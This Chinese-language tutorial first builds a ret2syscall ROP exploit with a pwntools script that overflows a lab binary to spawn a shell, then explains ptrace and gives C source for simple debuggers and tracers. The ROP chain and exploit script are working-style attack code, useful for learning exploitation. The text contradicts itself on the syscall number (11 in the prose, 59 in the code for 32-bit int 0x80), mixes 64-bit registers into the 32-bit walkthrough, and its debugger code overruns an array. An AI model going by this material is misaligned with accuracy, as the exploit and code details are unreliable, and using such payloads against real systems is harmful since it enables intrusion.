这里将会通过一个实例介绍如何通过内存中的各种代码片段来引导进程执行shell程序。在这个例子中，将不会再有程序的源代码了，只有一个给定的存在溢出漏洞的可执行文件，[ret2syscall](./exec_files/ret2syscall)，这是一个32位系统上生成的可执行文件，所以后面的实验也是在32位系统上完成的。在开始之前，这里需要先介绍一下调用shell程序的系统调用的汇编代码的形式： ```assembly mov %0, %ebx mov %1, %ecx mov %2, %edx mov $59, %eax int 0x80 ``` 上面这段汇编代码转换成高级语言就相当于：`execve(%0, %1, %2)`，这个函数会加载并执行由参数 %0 指定的程序，%0 是一个字符串类型的参数，指定了要加载的程序的路径；参数%1 ,%2 则是将该程序所需要参数已经环境变量传递给该程序。所以如果想要引导目标进程运行shell程序的话，需要在上面这段汇编代码中的第一个参数中放入"/bin/sh"字符串的地址，在第二个和第三个参数中放入0即可。所以这里需要修改%eax, %ebx, %ecx, %edx参数的值，但是在这个可执行文件中可能并不能找到符合要求的转移指令。注意到如果能找溢出点，那么就可以随意操控栈的内容，也就这里可以使用`pop`指令来修改对应的寄存器，所以可以通过溢出，将当前函数溢出后的栈修改成下面的内容： ```assembly addr(pop %eax; ret) 11 addr(pop %ebx, pop %ecx, pop %edx; ret) addr("/bin/sh") 0 0 addr(int 0x80) ``` 那么当前函数执行完成后跳转到 `pop %rax;ret`指令处执行，而此时的栈顶为11(note that ret = pop %rip)，所以这里就成功将%rax的值设置为了11，然后执行`ret`指令；而此时的栈顶为`pop %rbx, pop %rcx, pop %rdx;ret`指令的地址，所以继续跳转到这个指令处执行，这段指令能够将%rbx, %rcx, %rdx的值设置为需要的值，再次执行`ret`指令；跳转到`int 0x80`的地址处执行从而调用`execve("/bin/sh", 0, 0)`这个系统调用。所以这里需要找到一共4个Gadget的地址，这里先介绍一些会使用到的工具： #3. pattern offset 这是peda插件的一个功能，在有些程序中使用了优化的缓冲区，这样很难通过汇编代码计算出其缓冲区的溢出点在哪里，这时候可以使用peda插件来计算偏移量。先使用`pattern create 200`生成一个长度为200的随机字符串，然后运行程序，在程序读取用户输入的时候将之前生成的这个字符串粘贴进去，这时候程序就会出现Sigmentation fault并停止运行，这时，使用命令`pattern offset `，这里的"\"就是指此时%rip寄存器中的值。然后peda就会计算出缓冲区溢出的偏移量。 ![peda](./image/peda.png) 这里成功得到了缓冲区溢出的偏移量为112，也就是说从缓冲区开始的地址到存储返回地址的地址之间的距离为112个字节。 #4. [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) 这个工具可以用来找可执行文件中的一些Gadget的地址。 ![ROPgadget](./image/ROPgadget.png) 比如，这里需要找上面所说的第一个Gadget： ![Gadget_example](./image/Gadget_example.png) 其他的Gadget也可以使用这样的方法找到，所以不做过多描述。所以和前面一样的方法写用于破解的脚本： ```python from pwn import * p = process("./ret2syscall") pop_eax = p32(0x080bb196) pop_3x = p32(0x0806eb90) shell_addr = p32(0x080be408) int_80 = p32(0x08049421) payload = bytes('a' * 112, 'utf-8') + pop_eax + p32(59) + pop_3x + p32(0) + p32(0) + shell_addr + int_80 p.sendline(payload) p.interactive() ``` 然后运行这个脚本，可以发现这个脚本成功地引导了目标程序执行了shell程序。 ## 0x05 Linux进程追踪这一部分的内容主要是介绍`ptrace()`系统调用的功能以及使用，主要的参考资料是*Learning Linux Binary Analysis*, ptrace(2) Linux manual 以及 *Operating system concepts - 10th edition* 中的部分内容。在Linux或者其他使用ELF格式的Unix风格的系统中，`ptrace()`系统调用是程序分析、调试以及逆向工程的得力工具。`ptrace()`系统调用能够附加到一个进程上，并且访问这个进程的代码、数据、栈、堆以及寄存器。因为ELF程序是完全映射到内存空间的，所以可以附加到这个进程上然后对这个进程进行分析或者修改，就好比对在硬盘上的ELF文件进行的分析和修改一样。只不过分析和修改硬盘上的ELF文件需要使用`open()`, `mmap()`, `write()`, `read()`，而分析和修改进程需要使用`ptrace()`。 ### ptrace请求和其他系统调用一样，ptrace被封装在libc中。所以要调用`ptrace()`，就需要加上头文件`#include `，然后调用该函数并传递一个请求以及进程的ID。 `ptrace()`系统调用的原型如下： ```c #include long ptrace(enum _ptrace_request request, pid_t pid, void *addr, void *data) ``` 下面列出了一些最常用的请求，也是_ptrace_request枚举类型的取值范围： - PTRACE_TRACEME：调用`ptrace()`的程序会被其父进程追踪(*pid*, *addr* and *data* are ignored)，如果这个父进程并不希望进行追踪的话，那么进程不应该做出这个请求。这个请求只会由被追踪的程序调用，而接下来的其他请求都是用执行追踪的程序调用。并且除了PTRACE_ATTACH, PTRACE_SEIZE, PTRACE_INTERUPT, PTRACE_KILL这些请求外，被追踪的程序都一定会被停止。 - PTRACE_ATTACH：附加到由pid指定的进程上，让调用`ptrace()`的程序对该进程进行追踪(*addr* and *data* are ignored)。被追踪的进程会收到一个SIGSTOP信号，但是当这个系统调用结束时，被追踪的进程不一定会被停止。可以使用`waitpid()`来等待被追踪的进程停止运行。 - PTRACE_PEEKTEXT, PTRACE_PEEKDATA：在被追踪的进程的内存空间中读取位于*addr*地址处的一个字(*data* is ignored)，并将这个字作为系统调用的返回值。因为Linux系统中text和data的地址并不是分开的，所以这两个请求是一样的。 - PTRACE_PEEKUSER：在被追的进程的USER区域（这块区域用于存储进程的寄存器信息）读取位于*addr*偏移量处的一个字(*data* is ignored)，并将这个字作用系统调用的返回值。 - PTRACE_POKETEXT, PTRACE_POKEDATA：将*data*的一个字复制到被追踪进程中位于*addr*地址处的内存空间上，正如前面提到的一样，这两个请求是一样的。 > 注意这里的形参 *data* 虽然是一个指针，但是实际上调用该函数的时候应该传递的应该是一个字长的数据。 - PTRACE_POKEUSER：将*data*的一个字复制到被追踪进程中USER区域位于*addr*偏移量处的空间上。需要注意的是，为了保证内核完整性，有些修改请求是不会被允许的。 - PTRACE_GETREGS：将被追踪的进程的一些寄存器复制到执行追踪的程序的*data*地址处(*addr* is ignored)。可以在文档中看到这类数据的格式，后面也会对其进行介绍。 - PTRACE_SETREGS：将被追踪的进程的一些寄存器的内容修改为执行追踪的程序的*data*中的数据(*addr* is ignored)。和PTRACE_POKEUSER一样，有些修改请求是不会被允许的。 - PTRACE_CONT：让被追踪的进程重新运行(*addr* is ignored)。如果*data*参数是非零的，那么这个参数将被解释为一个信号量发送给被追踪的进程。否则就不会给被追踪的进程发送信号。 - PTRACE_DETACH：和PTRACE_CONT一样，让被追踪的进程重新运行，但是在此之前，会先解除附加的关系(*addr* is ignored)。 - PTRACE_SYSCALL：和PTRACE_CONT一样，让被追踪的进程重新运行，但是会安排被追踪的进程在下一次进入或者退出系统调用时停止(*addr* is ignored)。对于这个请求，当被追踪的进程调用某个系统调用时，可以用这个请求来检查该调用的参数，然后再次进行PTRACE_SYSCALL来检查这个系统调用的返回值。*data*参数的处理和PTRACE_CONT的一样。 - PTRACE_SINGLESTEP：和PTRACE_SYSCALL请求几乎一样，只不过是让被追踪的进程在执行下一条指令的时候停止。 - PTRACE_GETSIGINFO：提取导致被追踪进程停止运行的信号。具体的工作是从被追踪进程中复制一个siginfo_t类型的结构体数据到执行追踪的程序的*data*地址处(*addr* is ignored)。 - PTRACE_SETSIGINFO：设置信号，从执行追踪的程序的*data*地址处复制一个siginfo_t类型的结构体数据发送给被追踪的进程(*addr* is ignored)。这只针对从执行追踪的程序到被追踪的进程的常规信号。 - PTRACE_OPTION：设置一个ptrace选项，这个选项由*data*参数决定(*addr* is ignored)。具体有哪些选项可以参考ptrace(2)官方手册。在X86_64系统中，user_regs_struct 结构体中保存了常用寄存器(general-purpose registers)，段寄存器，栈指针，程序计数器，CPU标志以及TLS寄存器，下面是user_regs_struct结构体的具体组成： ```c struct user_regs_struct { __extension__ unsigned long long int r15; __extension__ unsigned long long int r14; __extension__ unsigned long long int r13; __extension__ unsigned long long int r12; __extension__ unsigned long long int rbp; __extension__ unsigned long long int rbx; __extension__ unsigned long long int r11; __extension__ unsigned long long int r10; __extension__ unsigned long long int r9; __extension__ unsigned long long int r8; __extension__ unsigned long long int rax; __extension__ unsigned long long int rcx; __extension__ unsigned long long int rdx; __extension__ unsigned long long int rsi; __extension__ unsigned long long int rdi; __extension__ unsigned long long int orig_rax; __extension__ unsigned long long int rip; __extension__ unsigned long long int cs; __extension__ unsigned long long int eflags; __extension__ unsigned long long int rsp; __extension__ unsigned long long int ss; __extension__ unsigned long long int fs_base; __extension__ unsigned long long int gs_base; __extension__ unsigned long long int ds; __extension__ unsigned long long int es; __extension__ unsigned long long int fs; __extension__ unsigned long long int gs; }; ``` 在32位的Linux系统中，%gs寄存器被用作TLS(Thread-local-storage)指针，而在X86_64系统中由%fs寄存器用于这个目的。利用上面这个结构体中的寄存器并且使用ptrace来访问进程的内存，这样就可以完全地控制这个进程，从而进行程序的调试。想要对这些请求有更深入的了解，需要进行一定的实战训练。 ### A simple debugger 这部分的内容将会使用`ptrace()`系统调用编写一个简单的debugger程序。代码主要是参考*Learning Linux Binary Analysis*中这一节的内容。但是在正式开始之前，需要补充一些代码中使用到的其他系统调用以及进程相关的一些内容，以便能更好地理解代码的含义。 **strdup()** 函数原型：`char *strdup(const char *s);` 接收一个字符串作为参数，然后返回一个指向新的字符串的指针，这个指针所指向的内容就是参数中的字符串的复制。在string.h库文件中定义。新字符串的内存空间是由`malloc()`函数分配的，并且可以使用`free()`函数来收回这块内存。更多细节可以参考手册"strdup(3)"。 **fork()** 函数原型： ```c #include pid_t fork(void); ``` 通过复制当前进程的方式创建一个新的进程。如果成功创建了进程，那么在父进程中的返回值为子进程的PID，而在子进程中的返回值为0；如果创建进程的过程失败，那么在子进程中的返回值为-1，而不会创建子进程。更多细节可以参考手册“fork(2)”。 **wait()** 函数原型： ```c #include pid_t wait(int *wstatus); ``` 将调用该函数的进程挂起，直到该进程的某个子进程的状态发生变化时。这里的状态发生改变的是指下面的几种情况： 1. 子进程结束运行 2. 子进程收到一个信号量后暂停运行如果是子进程结束运行的情况，那么调用`wait()`函数能够使系统释放这个子进程相关的系统资源。如果不调用`wait()`函数，那么结束运行的子进程会保持“zombie”状态。如果这里的参数 *wstatus* 是非空的，那么`wait()`函数会将状态信息保存在该指针所指向的地址处。然后可以使用下面的几种的宏指令来解析这个状态信息： - WIFEXITED(wstatus)：如果子进程正常结束运行（子进程调用`exit()`函数），那么这个宏指令的解析结果就为true； - WIFSTOPPED(wstatus)：如果子进程是收到某个信号量后暂停运行，那么这个宏指令的解析结果就为true。这种情况一般是子进程被追踪的才会出现。 - WSTOPSIG(wstatus)：返回使子进程暂停运行的信号量的序号，这个宏指令只能当WIFSTOPPED为真时才能使用。上面的几个宏指令只是这里会用到的几个指令。更多细节可以参考手册“wait(2)”。 **execve()** 函数原型： ```c #include int execve(const char *pathname, char *const argv[], char *const envp[]); ``` `execve()`会加载并执行由参数 *pathname* 指定的可执行文件。这会导致调用该函数的进程被新的程序所替代，并且新的程序会重新初始化其栈、堆以及数据段（包括已初始化和未初始化的）。 *argv* 是传递给新程序的命令行参数向量，*envp* 是传递给新程序的环境变量，这两个参数都是以空指针结束。 `execve()`如果成功执行，就不会返回。并且其代码、初始化的数据、未初始化的数据以及进程的栈都会被重写为新加载的程序的对应内容。如果调用该函数的进程正在被追踪(ptraced)，那么在成功执行`execve()`后，会向新程序发送一个SIGTRAP信号。更多细节可以参考手册“execve(2)”。下面是一个通过`ptrace()`系统调用实现的程序调试器： ```c /* simple_debugger.c */ /* gcc simple_debugger.c -o simple_debugger */ /* Usage: ./simple_debugger function_name */ /* Stop the process at the execution of function specified by the function_name */ #include #include #include #include #include #include #include #include #include #include #include #include #include typedef struct handle { Elf64_Ehdr *ehdr; /* Elf header */ Elf64_Phdr *phdr; /* Program header table */ Elf64_Shdr *shdr; /* Section header table */ uint8_t *mem; /* The first byte of the mapped executable file in the virtual address */ struct user_regs_struct pt_reg; /* The state of register of the process */ char *exec; /* The name of executable file */ char *symname; /* Name of the target function */ Elf64_Addr symaddr; /* Virtual address of the target function */ /* In elf.h: typedef uint64_t Elf64_Addr */ }handle_t; /* Find the virtual address of the target symbol */ Elf64_Addr lookup_symbol(handle_t *h, const char *symname) { int i,j; for(i = 0; i < h -> ehdr -> e_shnum; i++ ) { if(h -> shdr[i].sh_type == SHT_SYMTAB) { /* Get the symbol table */ /* Note that the symbol table and string table will not be loaded into memory */ Elf64_Sym *symtab = (Elf64_Sym *)&(h -> mem[h -> shdr[i].sh_offset]); /* Get the index of string table in the section header table */ uint64_t strndx = h -> shdr[i].sh_link; /* Get the virtual address of string table */ char *strtab = (char *)&(h -> mem[h -> shdr[strndx].sh_offset]); for(j = 0; j < h -> shdr[i].sh_size / sizeof(Elf64_Sym); j++) { if(strcmp(&strtab[symtab -> st_name], symname) == 0) return (symtab -> st_value); symtab++; } } } return 0; } int main(int argc, char **argv, char **envp) { /* Check the arguments */ if(argc < 3) { printf("Usage: %s function_name\n", argv[0]); exit(0); } handle_t h; /* Load the name of executable file to the data structure */ if((h.exec = strdup(argv[1])) == NULL) { perror("strdup"); exit(-1); } /* Load the name of target function to the data structure */ if((h.symname = strdup(argv[2])) == NULL) { perror("strdup"); exit(-1); } /* Resolve the executable file */ int fd; if((fd = open(argv[1], O_RDONLY)) < 0) { perror("open"); exit(-1); } struct stat st; if(fstat(fd, &st) < 0) { perror("fstat"); exit(-1); } h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); if(h.mem == MAP_FAILED) { perror("mmap"); exit(-1); } if(h.mem[0] != 0x7f && strcmp(&h.mem[1], "ELF") != 0) { fprintf(stderr, "%s is not a ELF format file.\n", argv[1]); exit(-1); } h.ehdr = (Elf64_Ehdr *)h.mem; h.phdr = (Elf64_Phdr *)(h.mem + h.ehdr -> e_phoff); h.shdr = (Elf64_Shdr *)(h.mem + h.ehdr -> e_shoff); if(h.ehdr -> e_type != ET_EXEC) { fprintf(stderr, "%s is not a executable file.\n", argv[1]); exit(-1); } if(h.ehdr -> e_shstrndx == 0 || h.ehdr -> e_shoff == 0 || h.ehdr -> e_shnum == 0) { printf("Section header table is not found.\n"); exit(-1); } if((h.symaddr = lookup_symbol(&h, h.symname)) == 0) { printf("Unable to find symbol: %s not found in executable.\n", h.symname); exit(-1); } close(fd); /* Load and execute the executable file */ pid_t pid; if((pid = fork()) < 0) { perror("fork"); exit(-1); } char *args[2]; args[1] = h.exec; args[2] = NULL; if(pid == 0) { if(ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) { perror("PTRACE_TRACEME"); exit(-1); } execve(h.exec, args, envp); exit(0); } int status; wait(&status); /* Trace the program */ printf("Beginning the analysis of pid: %d at %lx\n", pid, h.symaddr); /* Set a breakpoint at the beginning of target function. */ long orig = 0, trap = 0; if((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr + 4, NULL)) == -1) { perror("PTRACE_PEEKTEXT"); exit(-1); } trap = (orig & ~0xff) | 0xcc; /* Rewrite the first instruction of target function */ if(ptrace(PTRACE_POKETEXT, pid, h.symaddr + 4, trap) < 0) { perror("PTRACE_POKETEXT"); exit(-1); } trace: if(ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) { perror("PTRACE_CONT"); exit(-1); } wait(&status); /* If child process was stopped by the breakpoint */ if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { /* Get the state of register */ if(ptrace(PTRACE_GETREGS, pid, NULL, &h.pt_reg) < 0) { perror("PTRACE_GETREGS"); exit(-1); } printf("\nExecutable %s (pid: %d) has hit breakpoint at 0x:%lx\n", h.exec, pid, h.symaddr); /* Print the respective value of some register */ printf("%%rax: %llx\n%%rbx: %llx\n%%rcx: %llx\n%%rdx: %llx\n" "%%rdi: %llx\n%%rsi: %llx\n%%rsp: %llx\n%%rip: %llx\n", h.pt_reg.rax, h.pt_reg.rbx, h.pt_reg.rcx, h.pt_reg.rdx, h.pt_reg.rdi, h.pt_reg.rsi, h.pt_reg.rsp, h.pt_reg.rip); printf("\nHit any key to continue: "); getchar(); /* Withdraw the breakpoint */ /* Recover the first instruction of the target function */ if(ptrace(PTRACE_POKETEXT, pid, h.symaddr + 4, orig) < 0) { perror("PTRACE_POKETEXT"); exit(-1); } /* Set the counter to the first instruction of the target function*/ h.pt_reg.rip = h.pt_reg.rip - 1; if(ptrace(PTRACE_SETREGS, pid, NULL, &h.pt_reg) < 0) { perror("PTRACE_SETREGS"); exit(-1); } /* Execute the next one instruction and stop */ if(ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) < 0) { perror("PTRACE_SINGLESTEP"); exit(-1); } wait(NULL); /* Recover the breakpoint */ /* So that child process will be stopped by the breakpoint * if it call the target function again */ if(ptrace(PTRACE_POKETEXT, pid, h.symaddr + 4, trap) < 0) { perror("PTRACE_POKETEXT"); exit(-1); } goto trace; } if(WIFEXITED(status)) printf("Completed tracing pid: %d\n", pid); exit(0); } ``` 下面的代码是被追踪的子程序的源代码： ```c /* hello.c */ #include void to_printf(const char *s) { printf("%s", s); } int main() { to_printf("Hello World!\n"); to_printf("Hello, \n"); to_printf("World!\n"); return 0; } ``` 调用了三次`to_printf()`函数。注意编译这个子程序的代码时加上`-no-pie`选项，否则生成的文件会是动态库文件。 `gcc -no-pie hello.c -o hello` ![simple_debugger](./image/simple_debugger.png) 这里在子程序的`to_printf()`函数的地址设置了断点，然后打印此时的寄存器状态。这里虽然是让在子程序的0x401136的地址设置断点，但是实际上因为子程序的`to_printf()`函数第一条指令是`endbr64`长度是4个字节，所以simple_debugger的源代码中可以看到设置断点的位置为目标函数的地址+4。 ==一般设置断点的地址应该是目标函数的"push %rbp"指令，这条指令的长度只有一个字节，只需要将这指令重写为"int3"(trap instruction)，长度也为一个字节(0xcc)，即可在这个函数设置断点。== 所以可以看到，这里虽然期望设置断点的地址是0x401136，但是程序计数器(%rip)的值是0x40113b，也就是执行了第一条指令`endbr64`长度为4字节，然后再执行一个`int3`长度为1字节，然后子程序停止运行，打印的寄存器状态。这个简单的调试器演示了如何进行进程的追踪、设置断点、符号查找等，但是只能对可执行文件进行调试，并且无法向可执行文件传递参数。 ### 追踪运行中的进程这部分的内容主要演示如何追踪已经在运行中的进程：如果要追踪一个已经运行了的进程，需要使用PTRACE_ATTACH请求，这个请求会发送一个SIGSTOP信号给目标进程，然后可以调用`wait()`来等待目标进程停止运行。下面是一个简单的例子： ```c /* dummy.c */ /* gcc dummy.c -o dummy */ /* ./dummy & */ #include #include int main() { int i; for(i = 0; i < 10; i++) { printf("My counter: %d\n", i); sleep(2); } return 0; } ``` 上面的代码是这次演示中需要追踪的程序的源代码。编译后运行：`./dummy &` 然后使用下面的代码对这个程序进行追踪： ```c /* simple_attach.c */ /* gcc simple_attach.c -o simple_attach */ /* Usage: ./simple_attach */ #include #include #include #include #include #include #include int main(int argc, char *argv[]) { /* Check arguments */ if(argc != 2) { printf("Usage: %s \n", argv[0]); exit(0); } pid_t target = atoi(argv[1]); /* Attach to the running process */ if(ptrace(PTRACE_ATTACH, target, NULL, NULL) < 0) { perror("PTRACE_ATTACH"); exit(-1); } wait(NULL); /* Read the status of the registers */ struct user_regs_struct regs; if(ptrace(PTRACE_GETREGS, target, NULL, ®s) < 0) { perror("PTRACE_GETREGS"); exit(-1); } long data; if((data = ptrace(PTRACE_PEEKTEXT, target, regs.rip, NULL)) == -1) { perror("PTRACE_PEEKTEXT"); exit(-1); } printf("%%rip:%llx executing the current instruction: %lx\n", regs.rip, data); /* Detach */ if(ptrace(PTRACE_DETACH, target, NULL, NULL) == -1) { perror("PTRACE_DETACH"); exit(-1); } exit(0); } ``` 下面是程序的运行结果： ![simple_attach](./image/simple_attch.png) \*上图中开了两个终端窗口这里可以注意到，当"simple_attach"程序成功附加到目标进程后，只有当"simple_attach"程序结束运行后目标进程才能够执行下一条指令。 ### An advanced debugger 这部分的内容是编写一个稍微高级一点的调试器，这个调试器可以对可执行文件和正在运行中程序进行调试。同样地，这里先介绍一下会使用到的工具： **getopt()** 函数原型： ```c #include int getopt(int argc, char *const argv[], const char *optstring); extern char *optarg; extern int optind, opterr, optopt; ``` 用于解析传递给`main()`函数的参数，通常将一个以'-'字符开始的参数称为一个选项，而这个选项中的字符（除了开始的'-'）被称为选项字符。外部变量`optind`就是下一个将要被解析的元素的下标，初始化为1。如果`getopt()`函数找到选项字符，就会将这个字符作为返回值，并更新`optind`的值；如果没有多余的选项，那么该函数就会返回-1。在参数 *optstring* 中指定了该程序的所有合法的选项字符，这些选项字符必须是一字节的ascii编码可见字符，其中'-', ':', ';'这三个字符被保留而不可用作选项字符。如果选项字符后面跟着一个冒号，那就说这个选项需要一个参数，并且`getopt()`函数会将这个选项字符后面的文本复制到 `optarg`变量指向的地址处；如果选项字符后面跟着两个冒号，那就说这个选项的参数是可选的。更多细节可以参考手册"getopt(3)"。 **/proc/\/cmdline** 通过运行中的进程找到该进程对应的可执行文件的路径。在Linux系统上，如果知道该进程的PID，那么可以通过在命令行输入下面的命令查看该进程对应的可执行文件路径： `cat /proc/PID/cmdline` 比如下图演示： ![find_executable](./image/find_executable.png) 也就是说在文件/proc/PID/cmdline中存放着PID相应的进程对应的可执行文件的路径。 **read()** 函数原型： ```c #include ssize_t read(int fd, void *buf, size_t count); ``` `read()`函数会将文件描述符 *fd* 对应的文件读取 *count* 个字节到 *buf* 对应的地址处。如果读取成功，则会返回实际读取到的字节数；如果遇到错误，则会返回-1。更多细节可以参考手册"read(2)"。 **snprintf()** 函数原型： ```c int snprintf(char *restrict str, size_t size, const char *restrict format, ...); ``` 这个函数其实和`printf()`函数一样，只不过会将输出的字符串存放在 *str* 中，并且存放到 *str* 的字符个数不超过 *size* 个。更多细节可以参考手册"printf(3)"。 **memset()** 函数原型： ```c #include void *memset(void *s, int c, size_t n); ``` `memset()`函数会使用值为 *c* 的字节填充 *s* 指针指向的地址的前 *n* 的字节的空间。 ==注意该函数并不会为目标地址分配空间，只能用于初始化已分配的空间==。更多细节可以参考手册"memset(3)"。 **signal()** 函数原型： ```c #include typedef void (*sighandler_t)(int); sighandler_t signal(int signum, sighandler_t handler); ``` `signal()`函数会将 *signum* 信号的处理交由 *handler* 处理，其中 *handler* 要么是 SIG_IGN, SIG_DEL 要么就是由程序定义的函数地址。这里主要是用来处理来自键盘的CTRL + C中断信号。更多细节可以参考手册“signal(2)”。下面是程序的源代码： ```c /* tracer.c */ /* gcc tracer.c -o tracer */ /* Usage: ./tracer [-e / -p ] -f */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define EXE_MODE 0 #define PID_MODE 1 int global_pid; typedef struct handle { Elf64_Ehdr *ehdr; Elf64_Phdr *phdr; Elf64_Shdr *shdr; uint8_t *mem; char *exec; char *symname; Elf64_Addr symaddr; struct user_regs_struct pt_reg; }handle_t; Elf64_Addr look_up_symbol(handle_t *h, const char *symname) { int i, j; for(i = 0; i < h -> ehdr -> e_shnum; i++) { if(h -> shdr[i].sh_type == SHT_SYMTAB) { Elf64_Sym *symtab = (Elf64_Sym *)&(h -> mem[h -> shdr[i].sh_offset]); int stridx = h -> shdr[i].sh_link; char *strtab = (char *)&(h -> mem[h -> shdr[stridx].sh_offset]); for(j = 0; j < h -> shdr[i].sh_size / sizeof(Elf64_Sym); j++) { if(strcmp(&strtab[symtab -> st_name], symname) == 0) return symtab -> st_value; symtab++; } } } return 0; } char *get_exec(pid_t pid) { char cmdline[255]; char path[512]; char *p; snprintf(cmdline, 255, "/proc/%d/cmdline", pid); int fd; if((fd = open(cmdline, O_RDONLY)) < 0) { perror("open"); exit(-1); } if(read(fd, path, 512) < 0) { perror("read"); exit(-1); } if((p = strdup(path)) == NULL) { perror("strdup"); exit(-1); } return p; } void sighandler(int sig) { printf("\nCaught SIGINT: Detaching from process: %d\n", global_pid); if(ptrace(PTRACE_DETACH, global_pid, NULL, NULL) < 0) { perror("PTRACE_DETACH"); exit(-1); } exit(0); } int main(int argc, char *argv[], char **envp) { printf("Usage: %s [-e / -p ] -f \n", argv[0]); char oc; handle_t h; memset(&h, 0, sizeof(handle_t)); int mode; int pid; signal(SIGINT, sighandler); while((oc = getopt(argc, argv, "e:p:f:")) != -1) { switch(oc) { case 'e': if((h.exec = strdup(optarg)) == NULL) { perror("strdup"); exit(-1); } mode = EXE_MODE; break; case 'p': pid = atoi(optarg); char *exec = get_exec(pid); if((h.exec = strdup(exec)) == NULL) { printf("Unable to retrive executable path for pid: %d\n", pid); perror("strdup"); exit(-1); } mode = PID_MODE; break; case 'f': if((h.symname = strdup(optarg)) == NULL) { printf("Please specific a function name by option -f\n"); perror("strdup"); exit(-1); } break; default: printf("Undeclared option.\n"); exit(0); break; } } /* Resovle the executalbe file */ int fd; if((fd = open(h.exec, O_RDONLY)) < 0) { perror("open"); exit(-1); } struct stat st; if(fstat(fd, &st) < 0) { perror("fstat"); exit(-1); } h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); if(h.mem == MAP_FAILED) { perror("mmap"); exit(-1); } h.ehdr = (Elf64_Ehdr *)h.mem; h.phdr = (Elf64_Phdr *)(h.mem + h.ehdr -> e_phoff); h.shdr = (Elf64_Shdr *)(h.mem + h.ehdr -> e_shoff); if(h.mem[0] != 0x7f && strcmp((char *)&h.mem[1], "ELF")) { printf("%s is not an ELF format file\n", h.exec); exit(-1); } if(h.ehdr -> e_type != ET_EXEC) { printf("%s is not an ELF executable file\n", h.exec); exit(-1); } if(h.ehdr -> e_shstrndx == 0 || h.ehdr -> e_shoff == 0 || h.ehdr -> e_shnum == 0) { printf("Section header table not found\n"); exit(-1); } if((h.symaddr = look_up_symbol(&h, h.symname)) == 0) { printf("Unable to find symbol: %s not found in executable\n", h.symname); exit(-1); } close(fd); if(mode == EXE_MODE) { if((pid = fork()) < 0) { perror("fork"); exit(-1); } if(pid == 0) { if(ptrace(PTRACE_TRACEME, pid, NULL, NULL) < 0) { perror("PTRACE_TRACEME"); exit(-1); } char *args[2]; args[1] = h.exec; args[2] = NULL; execve(h.exec, args, envp); exit(0); } }else { if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) { perror("PTRACE_ATTACH"); exit(-1); } } global_pid = pid; int status; wait(&status); printf("Beginning analysis of pid: %d at %lx\n", pid, h.symaddr); /* Read 8 bytes at the push instruction of h.symaddr */ long orig, trap; if((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr + 4, NULL)) == -1) { perror("PTRACCE_PEEKTEXT"); exit(-1); } /* Set a breakpoint */ trap = (orig & ~0xff) | 0xcc; if(ptrace(PTRACE_POKETEXT, pid, h.symaddr + 4, trap) < 0) { perror("PTRACE_POKETEXT"); exit(-1); } /* Begin trace process */ trace: if(ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) { perror("PTRACE_CONT"); exit(-1); } wait(&status); /* If we receive a SIGTRAP then we presumably hit a breakpoint instruction. * In which case we will print out the current register state */ if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("\nExecutable %s(pid: %d) has hit breakpoint 0x%lx\n", h.exec, pid, h.symaddr); if(ptrace(PTRACE_GETREGS, pid, NULL, &h.pt_reg) < 0) { perror("PTRACE_GETREGS"); exit(-1); } printf("%%rax: 0x%llx\n%%rbx: 0x%llx\n%%rcx: 0x%llx\n%%rdx: 0x%llx\n" "%%rdi: 0x%llx\n%%rsi: 0x%llx\n%%rsp: 0x%llx\n%%rip: 0x%llx\n", h.pt_reg.rax, h.pt_reg.rbx, h.pt_reg.rcx, h.pt_reg.rdx, h.pt_reg.rdi, h.pt_reg.rsi, h.pt_reg.rsp, h.pt_reg.rip); printf("Hit any key to continue: "); getchar(); /* Restart the function as it should be */ if(ptrace(PTRACE_POKETEXT, pid, h.symaddr + 4, orig) < 0) { perror("PTRACE_POKETEXT"); exit(-1); } h.pt_reg.rip = h.pt_reg.rip - 1; if(ptrace(PTRACE_SETREGS, pid, NULL, &h.pt_reg) < 0) { perror("PTRACE_SETREGS"); exit(-1); } if(ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) < 0) { perror("PTRACE_SINGELSTEP"); exit(-1); } /* Execute a single instruction and stop */ wait(NULL); if(ptrace(PTRACE_POKETEXT, pid, h.symaddr + 4, trap)) { perror("PTRACE_POKETEXT"); exit(-1); } goto trace; } if(WIFEXITED(status)) { printf("Completed tracing pid: %d\n", pid); exit(0); } } ``` 程序的运行结果如下图所示： ![tracer_exe](./image/tracer_exe.png) 上面是对可执行文件的追踪结果。 ![tracer_pid](./image/tracer_pid.png) 这个则是对运行中的进程的追踪结果，可以发现当tracer程序输出时，被追踪的程序也暂停了运行，这是因为遇到了中断指令。 ### 进程镜像重建* *这部分内容对于理解ELF格式以及"ptrace"系统调用的使用方法有着很大的帮助。* 进程镜像重建是指将一个运行中的进程的内存镜像重建成对应的可执行文件，也就是将进程从内存中dump下来，生成一个新的可执行文件，这个新的可执行文件与该进程对应的二进制文件应该是一样的。这部分的内容相当于是一个实战训练的例子，可以检验自己对ELF格式以及ptrace的掌握程度。当然，在发现系统中运行的某个可以程序时，此类取证分析工作就显得很有必要。下面是重建可执行文件的挑战： - 将进程PID作为参数，将该PID对应的进程镜像重建成对应的可执行文件 - 构建节头的最小集，以便可以使用objdump和gdb这样的工具进行更精确的分析在重建可执行文件时会面临的挑战： 1. PLT/GOT的完整性：前面介绍过，GOT中会存放共享库函数在内存中的实际地址，这个地址是由动态链接器在运行时解析出来的。所以在重建可执行文件时，需要使用原始的PLT存根地址替换掉这些地址。 2. 添加节头表：尝试为下面的节创建节头：.interp, .note, .text, .dynamic, .got.plt, .dynsym 以及 .dynstr。下面会介绍重建可执行文件的过程： **#1. 定位ELF文件头** 对于不同的系统，这个过程会有不同的解决方法，但是主要的方法都是通过/proc/\/maps文件来查看运行中的进程的镜像信息。在 *Learning Linux Binary Analysis* 